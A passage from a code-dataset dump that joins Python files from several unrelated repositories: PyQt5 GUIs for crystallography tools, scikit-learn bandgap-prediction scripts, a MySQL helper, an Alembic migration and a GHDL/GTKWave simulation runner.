tabmatchresult.setObjectName("tabmatchresult") tabmatchresult.resize(886, 651) self.horizontalLayout = QtWidgets.QHBoxLayout(tabmatchresult) self.horizontalLayout.setObjectName("horizontalLayout") self.vL_result = QtWidgets.QVBoxLayout() self.vL_result.setObjectName("vL_result") self.l_result = QtWidgets.QLabel(tabmatchresult) self.l_result.setObjectName("l_result") self.vL_result.addWidget(self.l_result) self.hL_result_tV = QtWidgets.QHBoxLayout() self.hL_result_tV.setObjectName("hL_result_tV") self.tV_results = QtWidgets.QTableView(tabmatchresult) self.tV_results.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.tV_results.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) self.tV_results.setObjectName("tV_results") self.hL_result_tV.addWidget(self.tV_results) self.line = QtWidgets.QFrame(tabmatchresult) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName("line") self.hL_result_tV.addWidget(self.line) self.tV_results_detail = QtWidgets.QTableView(tabmatchresult) self.tV_results_detail.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.tV_results_detail.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) self.tV_results_detail.setObjectName("tV_results_detail") self.hL_result_tV.addWidget(self.tV_results_detail) self.vL_result.addLayout(self.hL_result_tV) self.hL_result_pB = QtWidgets.QHBoxLayout() self.hL_result_pB.setObjectName("hL_result_pB") self.pB_result_to_res = QtWidgets.QPushButton(tabmatchresult) self.pB_result_to_res.setObjectName("pB_result_to_res") self.hL_result_pB.addWidget(self.pB_result_to_res) self.line_2 = QtWidgets.QFrame(tabmatchresult) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.hL_result_pB.addWidget(self.line_2) self.pB_result_fig = QtWidgets.QPushButton(tabmatchresult) self.pB_result_fig.setObjectName("pB_result_fig") self.hL_result_pB.addWidget(self.pB_result_fig) self.vL_result.addLayout(self.hL_result_pB) self.horizontalLayout.addLayout(self.vL_result) self.retranslateUi(tabmatchresult) QtCore.QMetaObject.connectSlotsByName(tabmatchresult) def retranslateUi(self, tabmatchresult): _translate = QtCore.QCoreApplication.translate tabmatchresult.setWindowTitle(_translate("tabmatchresult", "Form")) self.l_result.setText(_translate("tabmatchresult", "结果概览")) self.pB_result_to_res.setText(_translate("tabmatchresult", "另存为所选到新RES文件")) self.pB_result_fig.setText(_translate("tabmatchresult", "查看图片")) ``` #### File: crystaltoolgui/tabs/tabresmatcher.py ```python from PyQt5 import QtCore, QtGui, QtWidgets class Ui_tabresmatcher(object): def setupUi(self, tabresmatcher): tabresmatcher.setObjectName("tabresmatcher") tabresmatcher.resize(697, 570) self.horizontalLayout = QtWidgets.QHBoxLayout(tabresmatcher) self.horizontalLayout.setObjectName("horizontalLayout") self.vL_match_1 = QtWidgets.QVBoxLayout() self.vL_match_1.setObjectName("vL_match_1") self.l_match_res = QtWidgets.QLabel(tabresmatcher) self.l_match_res.setObjectName("l_match_res") self.vL_match_1.addWidget(self.l_match_res) self.lV_match_res = QtWidgets.QListView(tabresmatcher) self.lV_match_res.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.lV_match_res.setObjectName("lV_match_res") self.vL_match_1.addWidget(self.lV_match_res) self.hL_match_pB1 = QtWidgets.QHBoxLayout() self.hL_match_pB1.setObjectName("hL_match_pB1") self.pB_match_choose_res = QtWidgets.QPushButton(tabresmatcher) self.pB_match_choose_res.setObjectName("pB_match_choose_res") self.hL_match_pB1.addWidget(self.pB_match_choose_res) self.l_solve_count = QtWidgets.QLabel(tabresmatcher) self.l_solve_count.setObjectName("l_solve_count") self.hL_match_pB1.addWidget(self.l_solve_count) self.vL_match_1.addLayout(self.hL_match_pB1) self.horizontalLayout.addLayout(self.vL_match_1) self.line = QtWidgets.QFrame(tabresmatcher) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName("line") self.horizontalLayout.addWidget(self.line) self.vL_match_2 = QtWidgets.QVBoxLayout() self.vL_match_2.setContentsMargins(-1, 25, -1, -1) self.vL_match_2.setObjectName("vL_match_2") self.hL_match_pdb = QtWidgets.QHBoxLayout() self.hL_match_pdb.setObjectName("hL_match_pdb") self.pB_pdb = QtWidgets.QPushButton(tabresmatcher) self.pB_pdb.setObjectName("pB_pdb") self.hL_match_pdb.addWidget(self.pB_pdb) self.l_pdb = QtWidgets.QLabel(tabresmatcher) self.l_pdb.setObjectName("l_pdb") self.hL_match_pdb.addWidget(self.l_pdb) self.vL_match_2.addLayout(self.hL_match_pdb) self.fL_match_1 = QtWidgets.QFormLayout() self.fL_match_1.setObjectName("fL_match_1") self.l_old_algorithm = QtWidgets.QLabel(tabresmatcher) self.l_old_algorithm.setObjectName("l_old_algorithm") self.fL_match_1.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.l_old_algorithm) self.l_loss_atom = QtWidgets.QLabel(tabresmatcher) self.l_loss_atom.setObjectName("l_loss_atom") self.fL_match_1.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.l_loss_atom) self.sB_loss_atom = QtWidgets.QSpinBox(tabresmatcher) self.sB_loss_atom.setObjectName("sB_loss_atom") self.fL_match_1.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.sB_loss_atom) self.l_threshold = QtWidgets.QLabel(tabresmatcher) self.l_threshold.setObjectName("l_threshold") self.fL_match_1.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.l_threshold) self.cB_threshold = QtWidgets.QComboBox(tabresmatcher) self.cB_threshold.setObjectName("cB_threshold") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.cB_threshold.addItem("") self.fL_match_1.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.cB_threshold) self.l_dBS_threshold = QtWidgets.QLabel(tabresmatcher) self.l_dBS_threshold.setObjectName("l_dBS_threshold") self.fL_match_1.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.l_dBS_threshold) self.dSB_threshold = QtWidgets.QDoubleSpinBox(tabresmatcher) self.dSB_threshold.setObjectName("dSB_threshold") self.fL_match_1.setWidget(3, QtWidgets.QFormLayout.FieldRole, self.dSB_threshold) self.rB_old_algorithm = QtWidgets.QRadioButton(tabresmatcher) self.rB_old_algorithm.setText("") self.rB_old_algorithm.setObjectName("rB_old_algorithm") self.fL_match_1.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.rB_old_algorithm) self.vL_match_2.addLayout(self.fL_match_1) self.hL_match_thickness = QtWidgets.QHBoxLayout() self.hL_match_thickness.setObjectName("hL_match_thickness") self.l_match_thick = QtWidgets.QLabel(tabresmatcher) self.l_match_thick.setObjectName("l_match_thick") self.hL_match_thickness.addWidget(self.l_match_thick) self.cB_thick_x = QtWidgets.QCheckBox(tabresmatcher) self.cB_thick_x.setObjectName("cB_thick_x") self.hL_match_thickness.addWidget(self.cB_thick_x) self.cB_thick_y = QtWidgets.QCheckBox(tabresmatcher) self.cB_thick_y.setObjectName("cB_thick_y") self.hL_match_thickness.addWidget(self.cB_thick_y) self.cB_thick_z = QtWidgets.QCheckBox(tabresmatcher) self.cB_thick_z.setObjectName("cB_thick_z") self.hL_match_thickness.addWidget(self.cB_thick_z) self.vL_match_2.addLayout(self.hL_match_thickness) self.gL_match_output = QtWidgets.QGridLayout() self.gL_match_output.setObjectName("gL_match_output") self.cB_Ra = QtWidgets.QCheckBox(tabresmatcher) self.cB_Ra.setChecked(True) self.cB_Ra.setObjectName("cB_Ra") self.gL_match_output.addWidget(self.cB_Ra, 4, 1, 1, 1) self.cB_Rb = QtWidgets.QCheckBox(tabresmatcher) self.cB_Rb.setChecked(True) self.cB_Rb.setObjectName("cB_Rb") self.gL_match_output.addWidget(self.cB_Rb, 4, 2, 1, 1) self.l_match_output = QtWidgets.QLabel(tabresmatcher) self.l_match_output.setObjectName("l_match_output") self.gL_match_output.addWidget(self.l_match_output, 1, 0, 1, 1) self.cB_Nm = QtWidgets.QCheckBox(tabresmatcher) self.cB_Nm.setChecked(True) self.cB_Nm.setObjectName("cB_Nm") self.gL_match_output.addWidget(self.cB_Nm, 1, 2, 1, 1) self.cB_Tm = QtWidgets.QCheckBox(tabresmatcher) self.cB_Tm.setChecked(True) self.cB_Tm.setObjectName("cB_Tm") self.gL_match_output.addWidget(self.cB_Tm, 1, 1, 1, 1) self.cB_R1 = QtWidgets.QCheckBox(tabresmatcher) self.cB_R1.setChecked(True) self.cB_R1.setObjectName("cB_R1") self.gL_match_output.addWidget(self.cB_R1, 5, 1, 1, 1) self.cB_Alpha = QtWidgets.QCheckBox(tabresmatcher) self.cB_Alpha.setChecked(True) self.cB_Alpha.setObjectName("cB_Alpha") self.gL_match_output.addWidget(self.cB_Alpha, 5, 3, 1, 1) self.cB_Rweak = QtWidgets.QCheckBox(tabresmatcher) self.cB_Rweak.setChecked(True) self.cB_Rweak.setObjectName("cB_Rweak") self.gL_match_output.addWidget(self.cB_Rweak, 5, 2, 1, 1) self.cB_Rw = QtWidgets.QCheckBox(tabresmatcher) self.cB_Rw.setChecked(True) self.cB_Rw.setObjectName("cB_Rw") self.gL_match_output.addWidget(self.cB_Rw, 1, 3, 1, 1) self.cB_Rc = QtWidgets.QCheckBox(tabresmatcher) self.cB_Rc.setChecked(True) self.cB_Rc.setObjectName("cB_Rc") self.gL_match_output.addWidget(self.cB_Rc, 4, 3, 1, 1) self.vL_match_2.addLayout(self.gL_match_output) self.hL_match_sort = QtWidgets.QHBoxLayout() self.hL_match_sort.setObjectName("hL_match_sort") self.l_match_sort = QtWidgets.QLabel(tabresmatcher) self.l_match_sort.setObjectName("l_match_sort") self.hL_match_sort.addWidget(self.l_match_sort) self.lE_match_sort = QtWidgets.QLineEdit(tabresmatcher) self.lE_match_sort.setInputMask("") self.lE_match_sort.setMaxLength(32767) self.lE_match_sort.setObjectName("lE_match_sort") self.hL_match_sort.addWidget(self.lE_match_sort) self.vL_match_2.addLayout(self.hL_match_sort) spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.vL_match_2.addItem(spacerItem) self.hL_match_start = QtWidgets.QHBoxLayout() self.hL_match_start.setObjectName("hL_match_start") self.pB_match_start = QtWidgets.QPushButton(tabresmatcher) self.pB_match_start.setObjectName("pB_match_start") self.hL_match_start.addWidget(self.pB_match_start) self.l_match_start = QtWidgets.QLabel(tabresmatcher) self.l_match_start.setObjectName("l_match_start") self.hL_match_start.addWidget(self.l_match_start) self.vL_match_2.addLayout(self.hL_match_start) self.bar_match = QtWidgets.QProgressBar(tabresmatcher) self.bar_match.setProperty("value", 0) self.bar_match.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter) self.bar_match.setObjectName("bar_match") self.vL_match_2.addWidget(self.bar_match) self.horizontalLayout.addLayout(self.vL_match_2) self.retranslateUi(tabresmatcher) self.cB_threshold.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(tabresmatcher) def retranslateUi(self, tabresmatcher): _translate = QtCore.QCoreApplication.translate tabresmatcher.setWindowTitle(_translate("tabresmatcher", "Form")) self.l_match_res.setText(_translate("tabresmatcher", "RES文件")) self.pB_match_choose_res.setText(_translate("tabresmatcher", "选择RES文件")) self.l_solve_count.setText(_translate("tabresmatcher", "已选0个")) self.pB_pdb.setText(_translate("tabresmatcher", "选择待搜索结构(pdb)")) self.l_pdb.setText(_translate("tabresmatcher", "未选择")) self.l_old_algorithm.setText(_translate("tabresmatcher", "使用旧算法")) self.l_loss_atom.setText(_translate("tabresmatcher", "可损失原子数")) self.l_threshold.setText(_translate("tabresmatcher", "汇报阈值基于")) self.cB_threshold.setCurrentText(_translate("tabresmatcher", "无")) self.cB_threshold.setItemText(0, _translate("tabresmatcher", "无")) self.cB_threshold.setItemText(1, _translate("tabresmatcher", "Tm(匹配上次数)")) self.cB_threshold.setItemText(2, _translate("tabresmatcher", "Nm(匹配上原子数)")) self.cB_threshold.setItemText(3, _translate("tabresmatcher", "Rwm(质量加权匹配比例)")) self.cB_threshold.setItemText(4, _translate("tabresmatcher", "Rwe2(电子加权匹配比例)")) self.cB_threshold.setItemText(5, _translate("tabresmatcher", "Ram(元素匹配相似度)")) self.cB_threshold.setItemText(6, _translate("tabresmatcher", "Rc(坐标匹配相似度)")) self.l_dBS_threshold.setText(_translate("tabresmatcher", "汇报阈值")) self.l_match_thick.setText(_translate("tabresmatcher", "晶胞加层")) self.cB_thick_x.setText(_translate("tabresmatcher", "x")) self.cB_thick_y.setText(_translate("tabresmatcher", "y")) self.cB_thick_z.setText(_translate("tabresmatcher", "z")) self.cB_Ra.setText(_translate("tabresmatcher", "Ra")) self.cB_Rb.setText(_translate("tabresmatcher", "Rb")) self.l_match_output.setText(_translate("tabresmatcher", "输出指标")) self.cB_Nm.setText(_translate("tabresmatcher", "Nm")) self.cB_Tm.setText(_translate("tabresmatcher", "Tm")) self.cB_R1.setText(_translate("tabresmatcher", "R1")) self.cB_Alpha.setText(_translate("tabresmatcher", "Alpha")) self.cB_Rweak.setText(_translate("tabresmatcher", "Rweak")) self.cB_Rw.setText(_translate("tabresmatcher", "Rw")) self.cB_Rc.setText(_translate("tabresmatcher", "Rc")) self.l_match_sort.setText(_translate("tabresmatcher", "排序规则")) self.lE_match_sort.setText(_translate("tabresmatcher", "-Tm,-Nm")) self.pB_match_start.setText(_translate("tabresmatcher", "开始匹配")) self.l_match_start.setText(_translate("tabresmatcher", "未开始匹配")) ``` #### File: crystaltoolgui/thread/edit.py ```python import threading from crystalbase import edit_hkl class EditThread(threading.Thread): def __init__(self, hkl_files, method, edit_range, params, is_scale, signal): super(EditThread, self).__init__() self.hkl_files = hkl_files self.method = method self.edit_range = edit_range self.params = params self.is_scale = is_scale self.signal = signal def run(self): """运行所有来自图形界面的任务""" process = 0 for hkl_file in self.hkl_files: process += 1 output = edit_hkl(hkl_file, self.method, self.edit_range, self.params, self.is_scale) self.signal.emit(process, output) ``` #### File: crystaltoolgui/wrapper/wrphkleditor.py ```python from ..libs import * from ..tabs import Ui_tabhkleditor from ..thread import EditThread @singleton class HklEditor(QWidget): edit_signal = pyqtSignal(int, list) def __init__(self): super().__init__() self.hkl_files = [] self.new_hkl_files = [] self.ui = Ui_tabhkleditor() self.ui.setupUi(self) self.edit_signal.connect(self.set_process) self.ui.pB_editor_choose.clicked.connect(self.open_hkl) self.ui.pB_editor_start.clicked.connect(self.edit) self.ui.pB_editor_send.clicked.connect(self.send_selected) def update_hkl(self, hkl_files): self.hkl_files = hkl_files self.ui.l_editor_count.setText('已选%d个' % len(hkl_files)) slm = QStringListModel() slm.setStringList(self.hkl_files) self.ui.lV_editor_origin.setModel(slm) def open_hkl(self): hkl_files, success = QFileDialog.getOpenFileNames(caption='选择HKL文件', directory='./', filter='Hkl Files (*.hkl)') if not success: return self.update_hkl(hkl_files) def edit(self): if not self.has_files: self.set_text('无可编辑文件') return if not self.has_params: self.set_text('未提供编辑参数') return self.set_text('开始编辑...') self.new_hkl_files.clear() self.ui.bar_editor.setValue(0) thread = EditThread(self.hkl_files, self.edit_method, self.edit_range, self.edit_params, self.is_norm, self.edit_signal) thread.start() self.ui.pB_editor_start.setEnabled(False) def set_process(self, process: int, new_hkl: list): if self.job_count == 0: return self.set_text('正在生成新HKL...已完成%d/%d' % (process, self.job_count)) self.ui.bar_editor.setValue(int(process * 100 / self.job_count)) for h in new_hkl: self.new_hkl_files.append(h) self.ui.l_editor_new_count.setText('总计%d个' % len(self.new_hkl_files)) slm = QStringListModel() slm.setStringList(self.new_hkl_files) self.ui.lV_editor_modified.setModel(slm) if process == self.job_count: self.set_text('生成结束') self.ui.pB_editor_start.setEnabled(True) def set_text(self, text: str): self.ui.l_editor_start.setText(text) self.ui.l_editor_start.repaint() def send_selected(self): from ..main import MainUI MainUI().tabhklsolver.update_hkl(self.hkl_files) MainUI().setSolveTab() @property def has_files(self): return len(self.hkl_files) != 0 @property def has_params(self): return self.edit_params != '' @property def job_count(self): return len(self.hkl_files) @property def edit_method(self): return self.ui.cB_editor_method.currentIndex() @property def edit_range(self): return self.ui.cB_editor_range.currentIndex() @property def edit_params(self): return self.ui.lE_editor_params.text() @property def is_norm(self): return not self.ui.cB_editor_norm.isChecked() ```
{ "source": "jingshenSN2/HOIP_bandgap_prediction", "score": 3 }
#### File: jingshenSN2/HOIP_bandgap_prediction/feature_selection.py ```python from sklearn.ensemble import GradientBoostingRegressor as GBR from sklearn.ensemble import RandomForestRegressor as RFR from sklearn.ensemble import AdaBoostRegressor as ABR from sklearn.ensemble import ExtraTreesRegressor as ETR from sklearn.decomposition import KernelPCA from sklearn.neural_network import MLPRegressor import pandas as pd import numpy as np import preprocessing as pre import matplotlib.pyplot as plt def __ensemble_test(type, X_train, X_test, y_train, y_test): if type.lower() == 'gbr': reg = GBR(n_estimators=100, random_state=1) elif type.lower() == 'rfr': reg = RFR(n_estimators=100, random_state=1) elif type.lower() == 'abr': reg = ABR(n_estimators=100, random_state=1) elif type.lower() == 'etr': reg = ETR(n_estimators=100, random_state=1) reg.fit(X_train, y_train) return reg, reg.score(X_test, y_test), reg.feature_importances_ def __plot(type, df): plt.scatter(df['number'], df['reg_score'], marker='o', c='black', label='R**2') plt.scatter(df['number'], df['adj. r**2'], marker='o', c='blue', label='Adj. R**2') plt.xlabel('N_feature') plt.ylabel('Score of ' + type + ' model') plt.axis([-1, 31, 0, 1]) plt.legend(loc=8) plt.savefig('feature_score_' + type + '.png') plt.close() def feature_selector_ensemble(type, cwdd): X_train, X_test, y_train, y_test, predict_X, features = pre.raw_preprocessing(cwdd) reg_list = [] local_feature = features df = pd.DataFrame(columns=['number', 'reg_score', 'adj. r**2', 'feature_list']) while len(local_feature) >= 1: reg, score, weight = __ensemble_test(type, X_train, X_test, y_train, y_test) reg_list.append(reg) df = df.append(pd.DataFrame([[len(local_feature), score, 1 - (1 - score * score) * (40) / (40 - len(local_feature)), ', '.join(local_feature)]], columns=df.columns), ignore_index=True) low = np.argmin(weight) del local_feature[low] X_train = np.delete(X_train, low, axis=1) X_test = np.delete(X_test, low, axis=1) df.to_csv('feature_selection_%s.csv' % type, index=False) __plot(type, df) return reg_list def __mlp_test(X_train, X_test, y_train, y_test): reg = MLPRegressor(hidden_layer_sizes=(20,), max_iter=10000, random_state=1) reg.fit(X_train, y_train) return reg, reg.score(X_test, y_test) def __pca_test(dem, X_tr, X_te, y_train, y_test): reg = KernelPCA(kernel='linear', n_components=dem, random_state=1) re = reg.fit(np.vstack((X_tr, X_te))) X_train = re.transform(X_tr) X_test = re.transform(X_te) reg, score = __mlp_test(X_train, X_test, y_train, y_test) print(score) return reg, score def feature_selector_pca(X_tr, X_te, y_tr, y_te, feature): reg_list = [] X_train, X_test, y_train, y_test = X_tr, X_te, y_tr, y_te local_feature = feature df = pd.DataFrame(columns=['number', 'reg_score', 'adj. r**2']) for i in range(2, len(local_feature) + 1): reg, score = __pca_test(i, X_train, X_test, y_train, y_test) df = df.append(pd.DataFrame([[i, score, 1 - (1 - score * score) * (40) / (40 - i)]], columns=df.columns), ignore_index=True) df.to_csv('feature_selection_pca.csv', index=False) return reg_list ``` #### File: jingshenSN2/HOIP_bandgap_prediction/predict.py ```python import pandas as pd import matplotlib.pyplot as plt from sklearn.externals import joblib from sklearn.preprocessing import MinMaxScaler from sklearn.model_selection import train_test_split import os def predict(model_directory, predict_directory): data = pd.read_csv('unknown_comb.csv', header=0) os.chdir(model_directory) gbr_4 = joblib.load('gbr_4_0.9669.m') X_pred = data[['P_A', 'P_B', 'X_p-electron', 'VE_B']] scaler = MinMaxScaler() y_pred = gbr_4.predict(scaler.fit_transform(X_pred)) print(gbr_4.feature_importances_) data['bandgap-ML(eV)'] = y_pred os.chdir(predict_directory) data.to_csv('pred_gbr_4.csv',index=False) def predict_plot(feature): data = pd.read_csv('pred_gbr_4.csv', header=0) x = data[feature] y = data['bandgap-ML(eV)'] plt.scatter(x, y, color='gray', label='predict set') origin_data = pd.read_csv('HOIP-30_drop.csv', header=0) X_train, X_test, y_train, y_test = train_test_split(origin_data[feature], origin_data['bandgap-PBE(eV)'], test_size=0.20, random_state=1) plt.scatter(X_train, list(y_train), color='blue', label='train set') plt.scatter(X_test, list(y_test), color='red', label='test set') plt.xlabel(feature) plt.ylabel('bandgap-ML(eV)') plt.axis([data[feature].min() * 0.90, data[feature].max() * 1.1, -0.5, 7.2]) plt.legend(loc=4) plt.savefig(feature + '.png') plt.close() plt.show() def predict_plot_byX(feature): data = pd.read_csv('pred_gbr_4.csv', header=0) X_list=['F', 'Cl', 'Br', 'I'] X_separated_data = {} for x in X_list: X_separated_data[x] = data[data['X-site'] == x] color_list = {'F':'deepskyblue', 'Cl':'orange', 'Br':'gray', 'I':'yellow'} for Xsite in X_list: x = X_separated_data[Xsite][feature] y = X_separated_data[Xsite]['bandgap-ML(eV)'] plt.scatter(x, y, color=color_list[Xsite], label=Xsite) plt.xlabel(feature) plt.ylabel('bandgap-ML(eV)') plt.axis([data[feature].min() * 0.90, data[feature].max() * 1.1, -0.5, 7.2]) plt.legend(loc=4) plt.savefig(feature + '_X.png') plt.close() plt.show() ``` #### File: jingshenSN2/HOIP_bandgap_prediction/test_ratio_selection.py ```python import pandas as pd import matplotlib.pyplot as plt import preprocessing as pre from sklearn.ensemble import GradientBoostingRegressor as GBR def ratio_test(): df = pd.DataFrame(columns=['ratio', 'score']) for i in range(1, 100): X_train, X_test, y_train, y_test, predict_X, features = pre.raw_preprocessing(i / 100) reg = GBR(random_state=1) reg.fit(X_train, y_train) df = df.append(pd.DataFrame([[1 - i / 100, reg.score(X_test, y_test)]], columns=df.columns), ignore_index=True) plt.plot(df['ratio'], df['score'], 'k.-') plt.xlabel('train_set_ratio') plt.ylabel('score') plt.savefig('ratio_score.png') df.to_csv('ratio.png', index=None) ```
{ "source": "jingshu-fk/FXTest_copy", "score": 3 }
#### File: FXTest_copy/common/oparmysqldatabase.py ```python from pymysql import * '''链接数据库,code为1即链接成功,error为错误信息,conne为返回的链接的实例''' def cursemsql(host,port,user,password,database): try: conne = connect(host=host, port=port, user=user, password=password, db=database) return {'code':1,'conne':conne} except Exception as e: return {'code':0,'error':e} '''执行数据库的sql,code为1即执行sql成功,result为返回结果''' def excemysql(conne,Sqlmy): try: with conne.cursor() as conn: conn.execute(Sqlmy) result=conn.fetchall() return {'code':1,'result':result} except Exception as e: return {'code':0,'error':e} ``` #### File: migrations/versions/2488b2a0a217_.py ```python from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2488b2a0a217' down_revision = '<PASSWORD>' branch_labels = None depends_on = None def upgrade(): op.add_column('users', sa.Column('err_num', sa.Integer(), nullable=True)) op.add_column('users', sa.Column('freetime', sa.DateTime(), nullable=True)) op.add_column('users', sa.Column('is_free', sa.Boolean(), nullable=True)) def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_constraint(None, 'users', type_='foreignkey') op.drop_column('users', 'is_free') op.drop_column('users', 'freetime') op.drop_column('users', 'err_num') op.drop_constraint(None, 'tstresults', type_='foreignkey') op.add_column('tasks', sa.Column('taskdesc', sa.TEXT(length=252), nullable=True)) op.drop_constraint(None, 'tasks', type_='foreignkey') op.drop_constraint(None, 'tasks', type_='foreignkey') op.drop_constraint(None, 'projects', type_='unique') op.drop_constraint(None, 'interfacetests', type_='foreignkey') # ### end Alembic commands ### ```
{ "source": "jingshuw/sctransfer", "score": 2 }
#### File: lib/sctransfer/pretrain_folder.py ```python from .sctransfer.saverx_train import SaverXTrain import anndata import numpy as np import os from glob import glob import sys sys.stdout.flush() def pretrainFolder(folder, species_list, data_type_list = None, out_dir = ".", initial_file = "", n_mouse = 21122, n_human = 21183, n_shared = 15494, batch_size = 100, pretrain_kwargs = {}): mtx_files = [y for x in os.walk(folder) for y in glob(os.path.join(x[0], '*.mtx'))] nonmissing_files = [y for x in os.walk(folder) for y in glob(os.path.join(x[0], '*nonmissing.txt'))] if data_type_list is None: data_type_list = ['UMI'] * len(mtx_files) if len(species_list) == 1: species_list = species_list * len(mtx_files) idx = np.arange(len(mtx_files)) np.random.seed(42) np.random.shuffle(idx) nonmissing_indicator_list = [] for f in nonmissing_files: nonmissing_indicator_list.append(np.loadtxt(f)) data_list = [] for ff in mtx_files: print(ff) data_list.append(anndata.read_mtx(ff).transpose()) print(species_list) print(data_type_list) for i in range(len(mtx_files)): data_list[i].uns['species'] = species_list[i] print(species_list[i]) data_list[i].uns['data_type'] = data_type_list[i] print(data_type_list[i]) result = SaverXTrain(data_list, n_human, n_mouse, n_shared, out_dir = out_dir, nonmissing_indicator_list = nonmissing_indicator_list, initial_file = initial_file, batch_size = batch_size, **pretrain_kwargs) ```
{ "source": "Jingslau/GTKWave-VHDL-Runner", "score": 2 }
#### File: Jingslau/GTKWave-VHDL-Runner/run_vhdl.py ```python import subprocess from subprocess import Popen import os import sys def runVHDL(files, index, pathDir): for file in files: #Loop um durch die Datein zu gehen isInPath = False for name in pathDir: if name == file: isInPath = True if isInPath == True: index += 1 # counter fuer die Bennenung unserer Testbenches print("Running " + file + " ...") try: # wir probieren alle ghdl # commands und ueberspringen die Datei, subprocess.check_output(["ghdl", "-s", file], stderr=subprocess.STDOUT) # wenn ein Error ausgegeben wird. print("Syntax-check OK") # Es folgt eine entsprechende Fehlermeldung. try: subprocess.check_output(["ghdl", "-a", file], stderr=subprocess.STDOUT) print("Analysis OK") except subprocess.CalledProcessError: print ("Analysis nOK") continue try: file = file[:-5] subprocess.check_output(["ghdl", "-e", file], stderr=subprocess.STDOUT) print("Build OK") except subprocess.CalledProcessError: print ("Build failed") continue try: subprocess.check_output(["ghdl", "-r", file, "--vcd=testbench" + str(index) + ".vcd"], stderr=subprocess.STDOUT) print("VCD-Dump OK") except subprocess.CalledProcessError: print ("VCD-Dump failed") continue try: print("Starting GTKWave \n") Popen("gtkwave testbench" + str(index) +".vcd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) except subprocess.CalledProcessError: # neuen Terminal geoeffnet print("Starting GTKWave failed") continue except subprocess.CalledProcessError: print ("Syntax-check nOK") continue elif isInPath == False: print (file + " could not be found \n") sys.argv.pop(0) # anpassen des Arrays der uebergebenen Datein files = sys.argv index = -1 pathDir = os.listdir('./') # speichern der Elemente im ausführenden Verzeichnis runVHDL(files, index, pathDir) # ausführen der Funktion ```
{ "source": "jingslaw/ab-crystal-library", "score": 2 }
#### File: jingslaw/ab-crystal-library/detailgui.py ```python __author__ = 'jingslaw' __version__ = 1.0 import sys import json import re from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtCore import * from toolgui import ToolPage def get_the_detail(icsd_code): import sqlite3 conn = sqlite3.connect('icsd.db') cursor = conn.cursor() sql = 'select * from item where ICSD_code = {0}'.format(icsd_code) cursor.execute(sql) result = cursor.fetchall() cursor.close() conn.close() return result[0] class LinkLabel(QLabel): clicked = pyqtSignal() def mouseReleaseEvent(self, QMouseEvent): if QMouseEvent.button() == Qt.LeftButton: self.clicked.emit() class DetailPage(QWidget): def __init__(self, *args): super().__init__() icsd_code = args[0] self.result = get_the_detail(icsd_code) self.raw = '' self.windows = [] self.initUI() def initUI(self): self.setWindowTitle('Ab-crystallib') self.setWindowIcon(QIcon('ustclogo.jpg')) self.resize(800, 800) cal_label = QLabel('CALCULATION DETAIL') cal_label.setFont(QFont('Arial', 20, 50)) calculation = json.loads(self.result[5]) cal_layout = QGridLayout() for i in range(len(calculation)): temp = QVBoxLayout() item = calculation[i] title = QLabel(item['title'] + ':') title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (i // 3, i % 3) cal_layout.addItem(temp, *position) str_label = QLabel('RELAXED STRUCTURE') str_label.setFont(QFont('Arial', 20, 50)) structure = json.loads(self.result[6]) sub_label_1 = QLabel('Real Space Lattice') sub_label_1.setFont(QFont('Arial', 10, 50)) tag = 0 str_layout_1 = QGridLayout() for i in range(len(structure)): temp = QVBoxLayout() item = structure[i] if re.match('Space', item['title']): break title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) if re.match('Lattice', item['title']): text = item['value'] text = re.sub('&deg', '°', text) value = QLabel(text) else: value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (i // 3, i % 3) str_layout_1.addItem(temp, *position) tag = i + 1 sub_label_2 = QLabel('Bravais Lattice of the Crystal') sub_label_2.setFont(QFont('Arial', 10, 50)) str_layout_2 = QGridLayout() j = 0 for i in range(tag, len(structure)): temp = QVBoxLayout() item = structure[i] if re.match('Crystal', item['title']): break title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) 